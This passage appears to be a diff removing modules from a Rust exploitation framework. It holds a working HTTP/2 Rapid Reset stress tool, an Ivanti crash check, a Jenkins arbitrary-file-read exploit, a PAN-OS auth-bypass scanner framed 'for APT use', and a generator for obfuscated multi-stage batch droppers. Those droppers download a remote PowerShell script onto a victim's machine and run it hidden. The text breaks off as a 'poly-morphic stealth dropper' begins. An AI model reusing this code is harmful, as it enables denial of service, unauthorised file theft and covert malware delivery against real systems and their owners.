}
Ok(())
}
/// Perform rapid reset attack test
async fn rapid_reset_test(
host: &str,
port: u16,
use_ssl: bool,
num_streams: usize,
delay_ms: u64,
) -> Result<()> {
println!("{}", format!("\n[*] Starting rapid reset test with {} streams...", num_streams).yellow());
let host_normalized = normalize_host(host);
let addr = format!("{}:{}", host_normalized, port);
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
.next()
.context("Could not resolve target address")?;
let stream = TcpStream::connect(socket_addr).await?;
if use_ssl {
let root_store = tokio_rustls::rustls::RootCertStore::empty();
let config = tokio_rustls::rustls::ClientConfig::builder()
.with_safe_defaults()
.with_root_certificates(root_store)
.with_no_client_auth();
let connector = TlsConnector::from(std::sync::Arc::new(config));
let server_name = tokio_rustls::rustls::ServerName::try_from(host)
.map_err(|_| anyhow!("Invalid server name"))?;
let tls_stream = connector.connect(server_name, stream).await?;
let (mut sender, connection) = Builder::new()
.handshake::<_, bytes::BytesMut>(tls_stream)
.await?;
// Spawn connection task
let connection_task = tokio::spawn(async move {
if let Err(e) = connection.await {
eprintln!("Connection error: {:?}", e);
}
});
let mut created_streams = Vec::new();
let start = Instant::now();
// Phase 1: Rapidly create streams
println!("{}", "[*] Phase 1: Creating streams rapidly...".yellow());
for i in 0..num_streams {
let request = http::Request::builder()
.uri(format!("https://{}:{}/", host, port))
.header("user-agent", "CVE-2023-44487-Tester/1.0")
.body(())
.unwrap();
match sender.send_request(request, false) {
Ok((_response_future, send_stream)) => {
created_streams.push(send_stream);
if delay_ms > 0 {
tokio::time::sleep(Duration::from_millis(delay_ms)).await;
}
}
Err(e) => {
println!("{}", format!("[-] Error creating stream {}: {:?}", i, e).red());
break;
}
}
}
let creation_duration = start.elapsed();
println!("{}", format!("[+] Created {} streams in {:.3}s", created_streams.len(), creation_duration.as_secs_f64()).green());
// Phase 2: Rapidly reset all streams
println!("{}", "[*] Phase 2: Resetting streams rapidly...".yellow());
let reset_start = Instant::now();
let mut reset_count = 0;
for mut send_stream in created_streams {
// Send RST_STREAM - send_stream has a send_reset method
send_stream.send_reset(h2::Reason::CANCEL);
reset_count += 1;
if delay_ms > 0 {
tokio::time::sleep(Duration::from_millis(delay_ms / 10)).await;
}
}
let reset_duration = reset_start.elapsed();
let total_duration = start.elapsed();
let reset_rate = if reset_duration.as_secs_f64() > 0.0 {
reset_count as f64 / reset_duration.as_secs_f64()
} else {
0.0
};
println!("{}", format!("[+] Reset {} streams in {:.3}s", reset_count, reset_duration.as_secs_f64()).green());
println!("{}", format!("[+] Reset Rate: {:.1} resets/second", reset_rate).green());
println!("{}", format!("[+] Total Duration: {:.3}s", total_duration.as_secs_f64()).green());
// Phase 3: Analysis
println!("{}", "\n[*] Vulnerability Analysis:".yellow());
if reset_rate > 1000.0 {
println!("{}", "[!] HIGH RISK: Server accepts very high reset rates".red().bold());
println!("{}", " This may indicate vulnerability to CVE-2023-44487".red());
} else if reset_rate > 100.0 {
println!("{}", "[!] MEDIUM RISK: Server accepts moderate reset rates".yellow().bold());
println!("{}", " Further testing may be needed".yellow());
} else {
println!("{}", "[+] LOWER RISK: Server has rate limiting on resets".green());
println!("{}", " This suggests some protection against the vulnerability".green());
}
// Cleanup
drop(sender);
let _ = timeout(Duration::from_secs(2), connection_task).await;
} else {
let (mut sender, connection) = Builder::new()
.handshake::<_, bytes::BytesMut>(stream)
.await?;
// Spawn connection task
let connection_task = tokio::spawn(async move {
if let Err(e) = connection.await {
eprintln!("Connection error: {:?}", e);
}
});
let mut created_streams = Vec::new();
let start = Instant::now();
// Phase 1: Rapidly create streams
println!("{}", "[*] Phase 1: Creating streams rapidly...".yellow());
for i in 0..num_streams {
let request = http::Request::builder()
.uri(format!("http://{}:{}/", host, port))
.header("user-agent", "CVE-2023-44487-Tester/1.0")
.body(())
.unwrap();
match sender.send_request(request, false) {
Ok((_response_future, send_stream)) => {
created_streams.push(send_stream);
if delay_ms > 0 {
tokio::time::sleep(Duration::from_millis(delay_ms)).await;
}
}
Err(e) => {
println!("{}", format!("[-] Error creating stream {}: {:?}", i, e).red());
break;
}
}
}
let creation_duration = start.elapsed();
println!("{}", format!("[+] Created {} streams in {:.3}s", created_streams.len(), creation_duration.as_secs_f64()).green());
// Phase 2: Rapidly reset all streams
println!("{}", "[*] Phase 2: Resetting streams rapidly...".yellow());
let reset_start = Instant::now();
let mut reset_count = 0;
for mut send_stream in created_streams {
// Send RST_STREAM - send_stream has a send_reset method
send_stream.send_reset(h2::Reason::CANCEL);
reset_count += 1;
if delay_ms > 0 {
tokio::time::sleep(Duration::from_millis(delay_ms / 10)).await;
}
}
let reset_duration = reset_start.elapsed();
let total_duration = start.elapsed();
let reset_rate = if reset_duration.as_secs_f64() > 0.0 {
reset_count as f64 / reset_duration.as_secs_f64()
} else {
0.0
};
println!("{}", format!("[+] Reset {} streams in {:.3}s", reset_count, reset_duration.as_secs_f64()).green());
println!("{}", format!("[+] Reset Rate: {:.1} resets/second", reset_rate).green());
println!("{}", format!("[+] Total Duration: {:.3}s", total_duration.as_secs_f64()).green());
// Phase 3: Analysis
println!("{}", "\n[*] Vulnerability Analysis:".yellow());
if reset_rate > 1000.0 {
println!("{}", "[!] HIGH RISK: Server accepts very high reset rates".red().bold());
println!("{}", " This may indicate vulnerability to CVE-2023-44487".red());
} else if reset_rate > 100.0 {
println!("{}", "[!] MEDIUM RISK: Server accepts moderate reset rates".yellow().bold());
println!("{}", " Further testing may be needed".yellow());
} else {
println!("{}", "[+] LOWER RISK: Server has rate limiting on resets".green());
println!("{}", " This suggests some protection against the vulnerability".green());
}
// Cleanup
drop(sender);
let _ = timeout(Duration::from_secs(2), connection_task).await;
}
Ok(())
}
/// Main entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
banner();
// Parse target (could be host:port or just host)
let (host, default_port) = if let Some(colon_pos) = target.rfind(':') {
let h = &target[..colon_pos];
let p = target[colon_pos + 1..].parse::<u16>().unwrap_or(443);
(h.to_string(), p)
} else {
(target.to_string(), 443)
};
// Interactive prompts
let mut port_input = String::new();
print!("{}", format!("Enter target port (default {}): ", default_port).cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut port_input)?;
let port: u16 = port_input.trim().parse().unwrap_or(default_port);
let mut ssl_input = String::new();
print!("{}", "Use SSL/TLS? (yes/no, default yes): ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut ssl_input)?;
let use_ssl = !ssl_input.trim().to_lowercase().starts_with('n');
let mut streams_input = String::new();
print!("{}", "Number of streams for rapid reset test (default 100): ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut streams_input)?;
let num_streams: usize = streams_input.trim().parse().unwrap_or(100);
let mut delay_input = String::new();
print!("{}", "Delay between operations in ms (default 1): ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut delay_input)?;
let delay_ms: u64 = delay_input.trim().parse().unwrap_or(1);
let mut baseline_input = String::new();
print!("{}", "Run baseline test first? (yes/no, default yes): ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut baseline_input)?;
let run_baseline = !baseline_input.trim().to_lowercase().starts_with('n');
println!("\n{}", "=".repeat(60).cyan());
println!("{}", format!("Target: {}:{}", host, port).yellow());
println!("{}", format!("SSL: {}", if use_ssl { "Enabled" } else { "Disabled" }).yellow());
println!("{}", "=".repeat(60).cyan());
// Legal disclaimer
println!("\n{}", "LEGAL DISCLAIMER:".red().bold());
println!("This tool is for authorized security testing only.");
println!("Ensure you have permission to test the target system.");
println!("Unauthorized use may be illegal.\n");
let mut confirm = String::new();
print!("{}", "Do you have permission to test this system? (yes/no): ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut confirm)?;
if !confirm.trim().to_lowercase().starts_with('y') {
println!("{}", "Exiting. Only use this tool on systems you're authorized to test.".red());
return Ok(());
}
// Run baseline test
if run_baseline {
if let Err(e) = baseline_test(&host, port, use_ssl, 10).await {
println!("{}", format!("[-] Baseline test error: {}", e).red());
}
}
// Run rapid reset test
if let Err(e) = rapid_reset_test(&host, port, use_ssl, num_streams, delay_ms).await {
println!("{}", format!("[-] Rapid reset test error: {}", e).red());
}
println!("\n{}", "[*] Test completed.".cyan());
Ok(())
}
-2
View File
@@ -1,2 +0,0 @@
pub mod cve_2023_44487_http2_rapid_reset;
@@ -1,260 +0,0 @@
//CVE-2025-22457 Ivanti Connect Secure Stack-Based Buffer Overflow Exploit Check
//Author: Bryan Smith (@securekomodo)
//Severity: Critical
//CWE: CWE-121 Stack-Based Buffer Overflow
//CVSS: 9.0 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)
//Product: Ivanti Connect Secure, Ivanti Policy Secure, Ivanti ZTA Gateways
//Affected Versions:
// - Connect Secure < 22.7R2.6
// - Policy Secure < 22.7R1.4
// - ZTA Gateways < 22.8R2.2
// Description:
// This script tests for the presence of CVE-2025-22457, a critical vulnerability in Ivanti Connect Secure,
// which allows a remote unauthenticated attacker to crash the web process via a long X-Forwarded-For header.
// In detailed mode, the vulnerability is confirmed if:
// 1. A pre-check GET request returns HTTP 200
// 2. A POST request with the crafted payload receives no response (safe crash)
// 3. A follow-up GET receives HTTP 200, verifying the previous no-response was not incidental
// If this sequence is observed, the system is marked as vulnerable.
// A vulnerable system will generate the log on the server appliance:
// ERROR31093: Program web recently failed.
//References:
// - https://labs.watchtowr.com/is-the-sofistication-in-the-room-with-us-x-forwarded-for-and-ivanti-connect-secure-cve-2025-22457
// - https://www.cvedetails.com/cve/CVE-2025-22457
// - https://www.redlinecybersecurity.com/blog/cve-2025-22457-python-exploit-poc-scanner-to-detect-ivanti-connect-secure-rce
use anyhow::Result;
use regex::Regex;
use reqwest::{Client, StatusCode};
use std::time::Duration;
use tokio::time::sleep;
use tokio::io::{self, AsyncBufReadExt, BufReader};
use url::Url;
/// ANSI color codes for terminal output
struct Colors;
impl Colors {
const YELLOW: &'static str = "\x1b[93m";
const GREEN: &'static str = "\x1b[92m";
const GRAY: &'static str = "\x1b[90m";
const RED: &'static str = "\x1b[91m";
const RESET: &'static str = "\x1b[0m";
}
/// // Paths tested for CVE-2025-22457
const PATHS: [&str; 2] = [
"/dana-na/auth/url_default/welcome.cgi",
"/dana-na/setup/psaldownload.cgi",
];
/// // Headers for initial and payload requests
fn default_headers() -> reqwest::header::HeaderMap {
let mut headers = reqwest::header::HeaderMap::new();
headers.insert("User-Agent", "Mozilla/5.0".parse().unwrap());
headers
}
fn payload_headers() -> reqwest::header::HeaderMap {
let mut headers = reqwest::header::HeaderMap::new();
headers.insert("User-Agent", "Mozilla/5.0".parse().unwrap());
headers.insert("X-Forwarded-For", "1".repeat(2048).parse().unwrap());
headers
}
/// // Safe HTTP request wrapper
async fn safe_request(
method: &str,
url: &str,
headers: reqwest::header::HeaderMap,
timeout_secs: u64,
) -> Option<reqwest::Response> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(timeout_secs))
.build()
.ok()?;
match method {
"GET" => client.get(url).headers(headers).send().await.ok(),
"POST" => client.post(url).headers(headers).send().await.ok(),
_ => None,
}
}
/// // Normalize and extract usable target URL from IPv6/host formats
async fn normalize_target(raw: &str) -> Result<String> {
let mut input = raw.trim().to_string();
// // Handle IPv6 edge brackets like [[::1]] or [[[::1]]]
while input.starts_with('[') && input.ends_with(']') {
input = input.trim_start_matches('[').trim_end_matches(']').to_string();
}
// // Prepend https:// if missing
if !input.starts_with("http://") && !input.starts_with("https://") {
input = format!("https://{}", input);
}
let mut parsed = Url::parse(&input)?;
// // Prompt for port if not present
if parsed.port_or_known_default().is_none() {
println!("{}No port detected. Please enter a port (e.g. 443):{}", Colors::YELLOW, Colors::RESET);
let mut port_line = String::new();
BufReader::new(io::stdin()).read_line(&mut port_line).await?;
let port = port_line.trim().parse::<u16>()?;
parsed.set_port(Some(port)).expect("invalid port");
}
Ok(parsed[..].to_string())
}
/// // Version info grabber for passive fingerprinting
async fn grab_version_info(target: &str) -> Result<Option<String>> {
let version_url = format!("{}/dana-na/auth/url_admin/welcome.cgi?type=inter", target);
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(5))
.build()?;
if let Ok(r) = client.get(&version_url).send().await {
if r.status() == StatusCode::OK {
let body = r.text().await?;
let name_re = Regex::new(r#"NAME="ProductName"\s+VALUE="([^"]+)""#)?;
let ver_re = Regex::new(r#"NAME="ProductVersion"\s+VALUE="([^"]+)""#)?;
let name = name_re
.captures(&body)
.and_then(|cap| cap.get(1).map(|m| m.as_str()));
let ver = ver_re
.captures(&body)
.and_then(|cap| cap.get(1).map(|m| m.as_str()));
if let (Some(name), Some(ver)) = (name, ver) {
println!("{}Detected {} Version: {}{}", Colors::GREEN, name, ver, Colors::RESET);
// // Passive logic
if ver.starts_with("9.") {
println!(
"{}PASSIVE VULNERABILITY DETECTED: 9.x versions are known to be vulnerable.{}",
Colors::YELLOW, Colors::RESET
);
} else if let Ok(parsed_ver) = semver::Version::parse(ver) {
if parsed_ver < semver::Version::parse("22.7.0")? {
println!(
"{}PASSIVE VULNERABILITY DETECTED: Version {} is older than 22.7.{}",
Colors::YELLOW, ver, Colors::RESET
);
} else {
println!(
"{}Version {} appears patched.{}",
Colors::GREEN, ver, Colors::RESET
);
}
}
return Ok(Some(version_url));
}
}
}
println!("{}Could not determine version (passive).{}", Colors::GRAY, Colors::RESET);
Ok(None)
}
/// // Run detailed check using the 3-phase logic from PoC
async fn detailed_check(target: &str) -> Result<Vec<String>> {
println!(
"\n{}Starting detailed check on {}{}",
Colors::GRAY, target, Colors::RESET
);
let mut vulnerable_paths = Vec::new();
if let Some(ver_url) = grab_version_info(target).await? {
vulnerable_paths.push(ver_url);
}
for path in PATHS {
let full_url = format!("{target}{path}");
println!("\n{}Testing path: {}{}", Colors::GRAY, path, Colors::RESET);
// // Step 1: Pre-check
let r1 = safe_request("GET", &full_url, default_headers(), 5).await;
if r1.as_ref().map(|r| r.status()) != Some(StatusCode::OK) {
println!(
"{}Pre-check failed (status: {}). Skipping...{}",
Colors::GRAY,
r1.as_ref().map(|r| r.status().as_u16()).unwrap_or(0),
Colors::RESET
);
continue;
}
println!("{}Pre-check successful (HTTP 200){}", Colors::GREEN, Colors::RESET);
// // Step 2: Payload
let r2 = safe_request("POST", &full_url, payload_headers(), 10).await;
if r2.is_some() {
println!("{}Payload returned response. Not vulnerable.{}", Colors::GRAY, Colors::RESET);
continue;
}
println!(
"{}No response to payload (expected crash behavior).{}",
Colors::GREEN, Colors::RESET
);
// // Step 3: Follow-up GET
sleep(Duration::from_secs(1)).await;
let r3 = safe_request("GET", &full_url, default_headers(), 5).await;
if r3.as_ref().map(|r| r.status()) == Some(StatusCode::OK) {
println!(
"{}Follow-up returned HTTP 200. Crash condition verified.{}",
Colors::GREEN, Colors::RESET
);
println!(
"{}VULNERABLE: {}{}{}",
Colors::YELLOW, target, path, Colors::RESET
);
vulnerable_paths.push(full_url);
} else {
println!(
"{}Follow-up failed. Crash condition not confirmed.{}",
Colors::GRAY, Colors::RESET
);
}
}
Ok(vulnerable_paths)
}
/// // Required entry point for RouterSploit-style dispatcher
pub async fn run(target: &str) -> Result<()> {
let normalized = normalize_target(target).await?;
let result = detailed_check(&normalized).await?;
if !result.is_empty() {
println!(
"\n{}Exploit result: SUCCESS vulnerable paths found.{}",
Colors::YELLOW, Colors::RESET
);
} else {
println!(
"\n{}Exploit result: NOT VULNERABLE no indicators.{}",
Colors::RED, Colors::RESET
);
}
Ok(())
}
-1
View File
@@ -1 +0,0 @@
pub mod ivanti_connect_secure_stack_based_buffer_overflow;
@@ -1,238 +0,0 @@
use std::io::{self, Write};
use std::sync::{Arc, Mutex};
use std::time::Duration;
use anyhow::{Result, bail, Context};
use colored::*;
use tokio::time::sleep;
use reqwest::{Client};
use uuid::Uuid;
use regex::Regex;
const TIMEOUT_SECS: u64 = 4;
#[derive(Clone)]
struct ExploitState {
url: String,
identifier: String,
client: Client,
listening: Arc<Mutex<bool>>,
}
impl ExploitState {
fn new(url: String, identifier: String) -> Self {
let client = Client::builder()
.timeout(Duration::from_secs(TIMEOUT_SECS))
.build()
.expect("Failed to create HTTP client");
Self {
url,
identifier,
client,
listening: Arc::new(Mutex::new(false)),
}
}
async fn listen_and_print(&self) -> Result<()> {
let response = self.client
.post(&self.url)
.query(&[("remoting", "false")])
.header("Side", "download")
.header("Session", &self.identifier)
.send()
.await
.context("Failed to connect to target for listener")?;
let output = response.text().await?;
self.print_formatted_output(&output);
*self.listening.lock().unwrap() = false;
Ok(())
}
fn print_formatted_output(&self, output: &str) {
if output.contains("ERROR: No such file") {
println!("{}", "File not found.".red());
return;
} else if output.contains("ERROR: Failed to parse") {
println!("{}", "Could not read file.".red());
return;
}
let re = Regex::new(r#"No such agent "(.*)" exists."#).unwrap();
let results: Vec<String> = re
.captures_iter(output)
.filter_map(|cap| cap.get(1).map(|m| m.as_str().to_string()))
.collect();
if !results.is_empty() {
for line in results {
println!("{}", line);
}
}
}
async fn send_file_request(&self, filepath: &str) -> Result<()> {
let payload = get_payload(filepath);
self.client
.post(&self.url)
.query(&[("remoting", "false")])
.header("Side", "upload")
.header("Session", &self.identifier)
.body(payload)
.send()
.await
.context("Failed to send file request")?;
Ok(())
}
async fn read_file(&self, filepath: &str) -> Result<()> {
*self.listening.lock().unwrap() = true;
sleep(Duration::from_millis(100)).await;
if let Err(e) = self.send_file_request(filepath).await {
*self.listening.lock().unwrap() = false;
return Err(e);
}
while *self.listening.lock().unwrap() {
sleep(Duration::from_millis(100)).await;
}
self.listen_and_print().await?;
Ok(())
}
}
fn get_payload_message(operation_index: u8, text: &str) -> Vec<u8> {
let text_bytes = text.as_bytes();
let text_size = text_bytes.len() as u16;
let mut text_message = Vec::new();
text_message.extend_from_slice(&text_size.to_be_bytes());
text_message.extend_from_slice(text_bytes);
let message_size = text_message.len() as u32;
let mut payload = Vec::new();
payload.extend_from_slice(&message_size.to_be_bytes());
payload.push(operation_index);
payload.extend_from_slice(&text_message);
payload
}
fn get_payload(filepath: &str) -> Vec<u8> {
let arg_operation = 0u8;
let start_operation = 3u8;
let command = get_payload_message(arg_operation, "connect-node");
let poisoned_argument = get_payload_message(arg_operation, &format!("@{}", filepath));
let mut payload = Vec::new();
payload.extend_from_slice(&command);
payload.extend_from_slice(&poisoned_argument);
payload.push(start_operation);
payload
}
fn make_path_absolute(filepath: &str) -> String {
if filepath.starts_with('/') {
filepath.to_string()
} else {
format!("/proc/self/cwd/{}", filepath)
}
}
fn format_target_url(url: &str) -> String {
let url = url.trim_end_matches('/');
format!("{}/cli", url)
}
async fn start_interactive_file_read(state: ExploitState) -> Result<()> {
println!("{}", "Press Ctrl+C to exit".cyan());
loop {
print!("{}", "File to download:\n> ".green().bold());
io::stdout().flush()?;
let mut input = String::new();
match io::stdin().read_line(&mut input) {
Ok(0) => break,
Ok(_) => {
let filepath = input.trim();
if filepath.is_empty() {
continue;
}
let absolute_path = make_path_absolute(filepath);
match state.read_file(&absolute_path).await {
Ok(_) => {}
Err(e) => {
if e.to_string().contains("timeout") {
println!("{}", "Payload request timed out.".yellow());
} else {
println!("{}", format!("Error: {}", e).red());
}
}
}
}
Err(e) => {
eprintln!("Error reading input: {}", e);
break;
}
}
}
Ok(())
}
pub async fn run(args: &str) -> Result<()> {
let parts: Vec<&str> = args.split_whitespace().collect();
if parts.is_empty() {
bail!("Usage: <url> [filepath]\nExample: http://example.com/ /etc/passwd");
}
let url = format_target_url(parts[0]);
let filepath = parts.get(1).map(|s| s.to_string());
let identifier = Uuid::new_v4().to_string();
println!("{}", format!("[*] Target: {}", url).cyan().bold());
println!("{}", format!("[*] Session ID: {}", identifier).cyan());
let state = ExploitState::new(url, identifier);
if let Some(path) = filepath {
let absolute_path = make_path_absolute(&path);
println!("{}", format!("[*] Reading file: {}", absolute_path).cyan());
match state.read_file(&absolute_path).await {
Ok(_) => println!("{}", "[+] File read complete".green().bold()),
Err(e) => {
if e.to_string().contains("timeout") {
println!("{}", "[-] Payload request timed out.".red());
} else {
println!("{}", format!("[-] Error: {}", e).red());
}
}
}
} else {
match start_interactive_file_read(state).await {
Ok(_) => {}
Err(e) => {
if !e.to_string().contains("Interrupted") {
eprintln!("Error: {}", e);
}
}
}
println!("\n{}", "Quitting".yellow());
}
Ok(())
}
-1
View File
@@ -1 +0,0 @@
pub mod jenkins_2_441_lfi;
-20
View File
@@ -1,20 +0,0 @@
pub mod generic;
pub mod sample_exploit;
pub mod payloadgens;
pub mod tplink;
pub mod ssh;
pub mod spotube;
pub mod ftp;
pub mod zabbix;
pub mod abus;
pub mod uniview;
pub mod avtech;
pub mod acti;
pub mod zte;
pub mod ivanti;
pub mod apache_tomcat;
pub mod palo_alto;
pub mod roundcube;
pub mod flowise;
pub mod http2;
pub mod jenkins;
-1
View File
@@ -1 +0,0 @@
pub mod panos_authbypass_cve_2025_0108;
@@ -1,165 +0,0 @@
// Filename: cve_2025_0108.rs
// CVE-2025-0108 - PanOS Authentication Bypass
// Author: iSee857
// Ported to Rust by ethical hacker daniel for APT use
use anyhow::{Context, Result, bail};
use colored::*;
use reqwest::Client;
use std::{
fs::File,
io::{self, BufRead, BufReader, Write},
process::Command,
time::Duration,
};
use url::Url;
/// Displays module banner
fn banner() {
println!(
"{}",
r#"
****************************************************
* CVE-2025-0108 *
* PanOs 身份认证绕过漏洞 *
* 作者: iSee857 *
****************************************************
"#
.cyan()
);
}
/// Reads target list from file
fn read_file(file_path: &str) -> Result<Vec<String>> {
let file = File::open(file_path)
.with_context(|| format!("Failed to open file: {}", file_path))?;
let reader = BufReader::new(file);
let urls: Vec<String> = reader
.lines()
.filter_map(|line| {
let line = line.ok()?;
let trimmed = line.trim();
if trimmed.is_empty() || trimmed.starts_with('#') {
None
} else {
Some(trimmed.to_string())
}
})
.collect();
Ok(urls)
}
/// Normalize IPv6 host with double or triple brackets
fn normalize_ipv6_host(host: &str) -> String {
let stripped = host.trim_matches(|c| c == '[' || c == ']');
if stripped.contains(':') {
format!("[{}]", stripped)
} else {
stripped.to_string()
}
}
/// Constructs the full normalized URL
fn normalize_url(host: &str, port: u16, proto: &str) -> Option<String> {
let host = normalize_ipv6_host(host);
let base = format!("{}{}:{}", proto, host, port);
Url::parse(&base).ok().map(|u| u.to_string())
}
/// Opens a URL in the default system browser
fn open_browser(url: &str) -> Result<()> {
#[cfg(target_os = "linux")]
let cmd = Command::new("xdg-open").arg(url).spawn();
#[cfg(target_os = "windows")]
let cmd = Command::new("cmd").args(["/C", "start", url]).spawn();
#[cfg(target_os = "macos")]
let cmd = Command::new("open").arg(url).spawn();
if cmd.is_err() {
bail!("Could not open default browser.");
}
Ok(())
}
/// Executes CVE-2025-0108 check
async fn check(url: &str, port: u16, client: &Client) -> Result<bool> {
let protocols = ["http://", "https://"];
let path = "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css";
for proto in &protocols {
if let Some(base_url) = normalize_url(url, port, proto) {
let full_url = format!("{}{}", base_url.trim_end_matches('/'), path);
println!("{}", format!("[*] Testing: {}", full_url).yellow());
let resp = client.get(&full_url).send().await;
if let Ok(res) = resp {
let status = res.status();
let body = res.text().await.unwrap_or_default();
if status.as_u16() == 200 && body.contains("Zero Touch Provisioning") {
println!(
"{}",
format!("[+] Find: {}:{} PanOS_CVE-2025-0108_LoginByPass!", url, port)
.green()
.bold()
);
println!("{}", format!("[*] Vulnerable URL: {}", full_url).cyan());
let _ = open_browser(&full_url);
return Ok(true);
} else {
println!(
"{}",
format!("[-] Not vulnerable: {}:{} - Response code: {}", url, port, status.as_u16())
.red()
);
}
} else {
println!(
"{}",
format!("[-] Error connecting to {}:{}", url, port).red()
);
}
}
}
Ok(false)
}
/// Main entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
banner();
let mut port_input = String::new();
print!("{}", "Enter target port (default 443): ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut port_input)?;
let port: u16 = port_input.trim().parse().unwrap_or(443);
let client = Client::builder()
.timeout(Duration::from_secs(10))
.danger_accept_invalid_certs(true)
.build()
.context("Failed to create HTTP client")?;
if target.ends_with(".txt") {
let urls = read_file(target)?;
if urls.is_empty() {
return Err(anyhow::anyhow!("No URLs found in file: {}", target));
}
println!("{}", format!("[*] Loaded {} URLs from file", urls.len()).yellow());
let mut vulnerable_count = 0;
for url in urls {
if check(&url, port, &client).await? {
vulnerable_count += 1;
}
}
println!("{}", format!("[*] Scan completed. Found {} vulnerable target(s)", vulnerable_count).cyan());
} else {
let _ = check(target, port, &client).await?;
}
Ok(())
}
-142
View File
@@ -1,142 +0,0 @@
use anyhow::Result;
use colored::*;
use rand::{seq::SliceRandom, rng};
use std::{
fs,
io::{self, Write},
path::Path,
};
use base64::{engine::general_purpose::STANDARD as BASE64_STANDARD, Engine as _};
fn prompt(prompt: &str) -> Result<String> {
print!("{}", prompt.cyan().bold());
io::stdout().flush()?;
let mut buffer = String::new();
io::stdin().read_line(&mut buffer)?;
Ok(buffer.trim().to_string())
}
fn base64_split_encode(url: &str) -> (String, String) {
let mid = url.len() / 2;
let (first, second) = url.split_at(mid);
let first_encoded = BASE64_STANDARD.encode(first);
let second_encoded = BASE64_STANDARD.encode(second);
(first_encoded, second_encoded)
}
fn write_payload_chain(stage1_path: &str, url: &str, output_ps1: &str) -> Result<()> {
let mut symbols = vec![
"测试", "測試", "例え", "例子", "示例", "示意", "探索", "神秘",
"", "", "", "", "", "", "", "", "", "✈✂", "📌", "🎴", "項目", "数据", "样本", "分析",
];
let mut rng = rng();
symbols.shuffle(&mut rng);
let s2 = symbols[0].to_string();
let s3 = symbols[1].to_string();
let s4 = symbols[2].to_string();
let _f1 = symbols[3].to_string();
let _f2 = symbols[4].to_string();
let _f3 = symbols[5].to_string();
let base = Path::new(stage1_path).parent().unwrap_or_else(|| Path::new("."));
let _stage1 = Path::new(stage1_path);
let _stage2 = base.join(format!("{s2}.bat"));
let _stage3 = base.join(format!("{s3}.bat"));
let _stage4 = base.join(format!("{s4}.bat"));
// Encode URL
let (part1_b64, part2_b64) = base64_split_encode(url);
// === Stage 1: writes stage2.bat ===
let stage1_contents = format!(
r#"@echo off
setlocal EnableDelayedExpansion
cls >nul
:: Sleep random 1-4 seconds
set /a RND=1+%RANDOM%%%4
timeout /t %RND% /nobreak >nul
:: Five explicit 1-second sleeps at stage 1
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
timeout /t 1 /nobreak >nul
echo Creating next stage...
(
echo @echo off
echo setlocal EnableDelayedExpansion
echo cls ^>nul
echo set /a RND=1+%%RANDOM%%%%4
echo timeout /t %%RND%% /nobreak ^>nul
:: Five explicit 1-second sleeps for stage 2
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo echo Creating next stage...
echo (
echo @echo off
echo setlocal EnableDelayedExpansion
echo cls ^>nul
echo set /a RND=1+%%RANDOM%%%%4
echo timeout /t %%RND%% /nobreak ^>nul
:: Five explicit 1-second sleeps for stage 3
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo timeout /t 1 /nobreak ^>nul
echo echo Creating final stage...
echo (
echo @echo off
echo setlocal EnableDelayedExpansion
echo cls ^>nul
echo set /a RND=1+%%RANDOM%%%%4
echo timeout /t %%RND%% /nobreak ^>nul
echo set part1={part1_b64}
echo set part2={part2_b64}
echo powershell -WindowStyle Hidden -Command ^^"
echo $p1 = $env:part1;
echo $p2 = $env:part2;
echo $u = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p1)) + [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p2));
echo Invoke-WebRequest -Uri $u -OutFile '{output_ps1}';
echo Start-Process -WindowStyle Hidden powershell -ArgumentList '-ExecutionPolicy Bypass -File {output_ps1}';
echo ^^"
echo exit
echo ) > "{s4}"
echo timeout /t 600 /nobreak ^>nul :: Wait 10 minutes before stage 4
echo start "" /B "{s4}" :: Launch stage 4 in background
echo exit
echo ) > "{s3}"
echo start "" /B "{s3}" :: Launch stage 3 in background
echo exit
) > "{s2}"
start "" /B "{s2}" :: Launch stage 2 in background
exit
"#);
fs::write(_stage1, stage1_contents)?;
Ok(())
}
pub async fn run(_target: &str) -> Result<()> {
let stage1_name = prompt("[+] Output BAT filename (stage 1): ")?;
let github_url = prompt("[+] GitHub raw URL of PowerShell script: ")?;
let ps1_output = prompt("[+] Name to save .ps1 as on victim: ")?;
write_payload_chain(&stage1_name, &github_url, &ps1_output)?;
println!("[+] Stage 1 payload written to {stage1_name}");
println!("[*] Chain will execute real .bat files one after the other with random jitter.");
Ok(())
}
-2
View File
@@ -1,2 +0,0 @@
pub mod narutto_dropper;
pub mod batgen;
@@ -1,322 +0,0 @@
// == Poly-morphic, 3-Stage, Chain-Linked Stealth Dropper (Interactive, Hardened) ==
// // User provides: PS1 download link, final batch name, output .ps1 name
// // All temp/var names randomized, batch logic randomized, anti-VM checks
use rand::prelude::*;
use anyhow::Result;
use colored::*;
use rand::{rng, seq::SliceRandom, Rng};
use std::io::{self, Write as IoWrite};
use tokio::fs::File as TokioFile;
use tokio::io::AsyncWriteExt;
// // Prints a welcome message for the Naruto 3-stage poly-morphic dropper
pub fn print_welcome_naruto() {
println!(r#"
======================== WELCOME TO NARUTO ========================
